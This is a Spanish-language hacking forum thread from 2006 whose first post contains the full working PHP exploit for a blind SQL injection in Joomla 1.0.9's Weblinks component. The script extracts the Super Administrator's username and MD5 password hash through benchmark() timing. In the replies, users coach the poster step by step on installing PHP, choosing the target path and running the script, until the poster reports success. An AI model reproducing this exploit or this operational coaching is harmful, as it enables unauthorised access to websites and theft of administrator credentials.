elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 10:27  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [DUDA].¿Cómo se usa este xpl?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [DUDA].¿Cómo se usa este xpl?  (Leído 3,592 veces)
-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
[DUDA].¿Cómo se usa este xpl?
« en: 18 Junio 2006, 20:12 »

Código:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Joomla <= 1.0.9 'Weblinks' blind SQL injection / admin credentials\r\n";
echo "disclosure exploit (benchmark() vesion)\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to Joomla\r\n";
echo "user/pass: you need an account\r\n";
echo "Options:\r\n";
echo "   -T[prefix]   specify a table prefix different from 'jos_'\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /joomla/ username password\r\n";
die;
}

/*
  explaination:

  same of http://retrogod.altervista.org/mambo_46rc1_sql.html
  with some modifications to work against Joomla
  and with an always true statement, to avoid to flood admin of e-mail notifications
  about submissions (they simply do not succeed but injection works aswell)
*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="jos_";
$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data ="username=".$user;
$data.="&passwd=".$pass;
$data.="&remember=yes";
$data.="&option=login";
$data.="&Submit=Login";
$data.="&op2=login";
$data.="&lang=english";
$data.="&return=".urlencode("http://".$host.$path);
$data.="&message=0";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
ECHO $html;
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=2; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if ((strstr($cookie,"=+;")) | $cookie=="") {die("Unable to login...");}
else
{
echo "Done...\r\ncookie -> ".$cookie."\r\n";
}

$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$starttime=time();
$sql="' or 'suntzu'='suntzu' UNION SELECT IF ((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(300000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*";
echo "\r\n".$sql."\r\n";
$sql=urlencode($sql);
$data ="title=".$sql;
$data.="&catid=2";
$data.="&url=".urlencode("http://www.google.com");
$data.="&description=suntzuuuuuuu";
$data.="&id=";
$data.="&option=com_weblinks";
$data.="&task=save";
$data.="&ordering=0";
$data.="&approved=1";
$data.="&Returnid=0";
$data.="&referer=".urlencode("http://".$host.$path."index.php?option=com_frontpage&Itemid=1");
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet)."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 10) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;} //more than ten seconds? we succeed...
if ($i==255) {die("Exploit failed...");}
}
$j++;
}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
  $starttime=time();
  $sql="' or 'suntzu'='suntzu' UNION SELECT IF ((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(300000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*";
  echo "\r\n".$sql."\r\n";
  $sql=urlencode($sql);
  $data ="title=".$sql;
  $data.="&catid=2";
  $data.="&url=".urlencode("http://www.google.com");
  $data.="&description=suntzuuuuuuu";
  $data.="&id=";
  $data.="&option=com_weblinks";
  $data.="&task=save";
  $data.="&ordering=0";
  $data.="&approved=1";
  $data.="&Returnid=0";
  $data.="&referer=".urlencode("http://".$host.$path."index.php");
  $packet ="POST ".$p."index.php HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Accept: text/plain\r\n";
  $packet.="Connection: Close\r\n";
  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  $packet.="Cookie: ".$cookie."\r\n";
  $packet.="Content-Length: ".strlen($data)."\r\n\r\n";
  $packet.=$data;
  //debug
  //echo quick_dump($packet)."\r\n";
  sendpacketii($packet);
  $endtime=time();
  echo "endtime -> ".$endtime."\r\n";
  $difftime=$endtime - $starttime;
  echo "difftime -> ".$difftime."\r\n";
  if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
  if ($i==255) {die("Exploit failed...");}
  }
  $j++;
}
//if you are here...
echo "Exploit succeeded...\r\n";
echo "--------------------------------------------------------------------\r\n";
echo "admin          -> ".$admin."\r\n";
echo "password (md5) -> ".$password."\r\n";
echo "--------------------------------------------------------------------\r\n";
?>

# milw0rm.com [2006-06-17]


Porque sale php y perl :S
Se ejecuta desde el cygwin o desde cmd? :S
...
thx
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #1 en: 19 Junio 2006, 06:42 »

de donde sacas que es perl?
mira:
Código:
#!/usr/bin/php -q -d short_open_tag=on

Google:
Sitio oficial:
http://www.php.net/manual/es/features.commandline.php
Mirror:
http://www.php-es.com/features.commandline.html

estas usando php desde la linea de comandos..

Saludos!!
En línea

-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #2 en: 19 Junio 2006, 18:34 »

oks.....

Citar
#

Puedes decir a PHP que ejecute ciertos archivos.

php my_script.php

php -f my_script.php

En estos dos ejemplos (aunque utilices el switch -f o no) ejecutan el archivo my_script.php. Tu puedes escoger cualquier archivo para ejecutar - tus programas PHP no tienen que terminar con la exención .php y pueden tener cualquier otra exención tu desees.

ok....

1, el exploit, lo tengo guardado .php (joomla.php)

2, pongamos un ejemplo que el joomla.php lo tengo guardado en C:\

3, abro el cmd, símbolo del sistema y hago:
cd c:\

y pongo:

php joomla.php

y sale:
Citar
"php" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

verdad que algo hago mal?....
debo de estar equivocada en algo :S ...

salu2 y gracias por tu ayuda.
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #3 en: 19 Junio 2006, 18:43 »

Ve a la carpeta donde tengas instalado el php y pon el archivo que quieras ejecutar en esa carpeta e intentalo de nuevo.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #4 en: 19 Junio 2006, 21:03 »

Ve a la carpeta donde tengas instalado el php y pon el archivo que quieras ejecutar en esa carpeta e intentalo de nuevo.

me llamarás tonta, pero no sé dónte tengo instalado el php >.<
xD

y he ido a inicio, buscar y he buscado todos los posibles archivos y/o carpetas con el nombre "php"

tú dónde lo tienes? o normalmente,dónde está?.....
En línea
^EnC@nTo^

Desconectado Desconectado

Mensajes: 151


Cachorrito bebe Tux


Ver Perfil
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #5 en: 19 Junio 2006, 21:29 »

PHP no es un lenguaje orientado a objetos, es un lenguaje interpretado por un servidor en este caso y ejecutado al mismo tiempo, son ordenes de comandos algo asi como los shell scripts que son comandos que una vez ejecutados en la Shell son interpretados y ejecutados, pero el PHP se interpreta y se ejecuta en un servidor (Apache, Tomcat, etc) Lean mas sobre lenguaje interpretado y lenguaje orientado a Objetos. Jamas veras un software llamado PHP porque no existe, existe el soporte PHP para que lo integres al servidor en si que estes ejecutando en tu PC, pero para ese exploit no necesitas un servidor Apache, ni mucho menos, solo debes renombrar  subir ese Script a un servidor web de esos gratuitos en la red, debe quedar algo asi:


www.iespana.es/Greendevil/Joomla.php

Y puedo seguir explicanote que hacer luego de ahi, pero el hacking no es de mi interes... y no es por no saber, es que ciertamente estos temas no me gustan. Conteste para verificar que PHP es un lenguaje interpretado no orientado a objetos asi que nada de :

Php  joomla.php

Que es eso por Dios!



En línea

-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #6 en: 19 Junio 2006, 21:46 »

@ encanto

Si hago eso que has dicho, pero como que no funciona el exploit subiéndolo a un server.....
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #7 en: 20 Junio 2006, 01:25 »

jaja encanto, de que hablas tu? xDDDDDD creo que estas un poco perdida.. ¬¬

GreenDevil, olvida eso.. haber:
has esto:
baja PHP, www.php.net
una ves que lo hiciste, pon el exploit en: c:\php\ y despues en cmd ve a:
cd \php\
una ves ahi, escribe:
php exploit.php
y listo.. :P

Saludos!!
En línea

-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #8 en: 20 Junio 2006, 17:39 »

jaja encanto, de que hablas tu? xDDDDDD creo que estas un poco perdida.. ¬¬

GreenDevil, olvida eso.. haber:
has esto:
baja PHP, www.php.net
una ves que lo hiciste, pon el exploit en: c:\php\ y despues en cmd ve a:
cd \php\
una ves ahi, escribe:
php exploit.php
y listo.. :P

Saludos!!

GreenDevil, olvida eso..

xD ya, si ya...

ok, gracias por tu respuesta ; )  ;D
En línea
^Raptor^

Desconectado Desconectado

Mensajes: 29



Ver Perfil
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #9 en: 21 Junio 2006, 23:25 »

a que se refiere con el path?

la direccion de la web en el servidor?? esto es un poco dificil de saber..
En línea

Cualquier usuario debe poder modificar un programa para ajustarse a sus necesidades, cualquier usuario debe poder compartir software porque ayudarnos unos a otros es la base de la sociedad.. POR ESTO MISMO, SOFTWARE LIBRE
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #10 en: 22 Junio 2006, 00:35 »

jeje
no necesitas el PATH.. de donde esta instalado en el servidor, sino de la web..

www.joomla.com/demo/start/joomla

el path seria:

/demo/start/jommla


Saludos!!

PD. Crack_X: xDDD SHHH!
« Última modificación: 22 Junio 2006, 00:46 por Sdc » En línea

-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #11 en: 12 Julio 2006, 22:42 »

perdón por revivir este post...

pero bueno... como que tengo problemas(dudas) y lo creé yo.. x'D ahí voy:


1-me he descargado PHP desde esta descarga:
http://www.php.net/get/php-5.1.4.tar.gz/from/a/mirror
Citar
PHP 5.1.4 (tar.gz) [7,920Kb] - 04 May 2006
md5: 7c846aa09ec1fe0f54a57c8ba030d9f8

2-He abierto el tar y he metido la carpeta php con todo dentro a C:\

3-he metido el exploit en la carpeta php

4- he abierto el cmd.exe y he puesto:

cd c:\
cd php
php exploit.php

y no me va.. me sale:

Código:
C:\php>php joom.php
"php" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

diría que he instalado mal el php..... si me puedes ayudar sir  :rolleyes:
En línea
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 17.227


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #12 en: 12 Julio 2006, 22:49 »

lo tienes claro si intentas ejecutar un binario de linux en Windows.

Esa versión tar.gz es para compilar, baja la versión para Windows y usa el php.exe que debe haber.

Deberías entender lo que es un path, si pones C:\php en el path no te hará falta entrar dentro del directorio php para llamar al php.exe
En línea

"elhacker.net es único, por eso no fabrica para otras marcas"  - Prohibido prohibir

-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #13 en: 12 Julio 2006, 22:54 »

lo tienes claro si intentas ejecutar un binario de linux en Windows.

Esa versión tar.gz es para compilar, baja la versión para Windows y usa el php.exe que debe haber.

Deberías entender lo que es un path, si pones C:\php en el path no te hará falta entrar dentro del directorio php para llamar al php.exe

x'D es que iba a bajar lo de win, pero eso de binario, no lo tenía muy claro, ahora lo pruebo
y como en los tars no veía que pusiera nada de linux  :-X

--------------

AÑADIDO:

YA ME VA, GRACIAS EL-BRUJO
  ;D
« Última modificación: 12 Julio 2006, 23:03 por GreenDeviL » En línea
satan69


Desconectado Desconectado

Mensajes: 341



Ver Perfil
Re: [DUDA].¿Cómo se usa este xpl?
« Respuesta #14 en: 16 Julio 2006, 20:17 »

lo tienes claro si intentas ejecutar un binario de linux en Windows.

Esa versión tar.gz es para compilar, baja la versión para Windows y usa el php.exe que debe haber.

Deberías entender lo que es un path, si pones C:\php en el path no te hará falta entrar dentro del directorio php para llamar al php.exe

x'D es que iba a bajar lo de win, pero eso de binario, no lo tenía muy claro, ahora lo pruebo
y como en los tars no veía que pusiera nada de linux  :-X

--------------

AÑADIDO:

YA ME VA, GRACIAS EL-BRUJO
  ;D

ta bueno
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda: Como de insivible soy?
Seguridad
Lens 10 1,458 Último mensaje 30 Diciembre 2011, 01:43
por juan_Hack
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines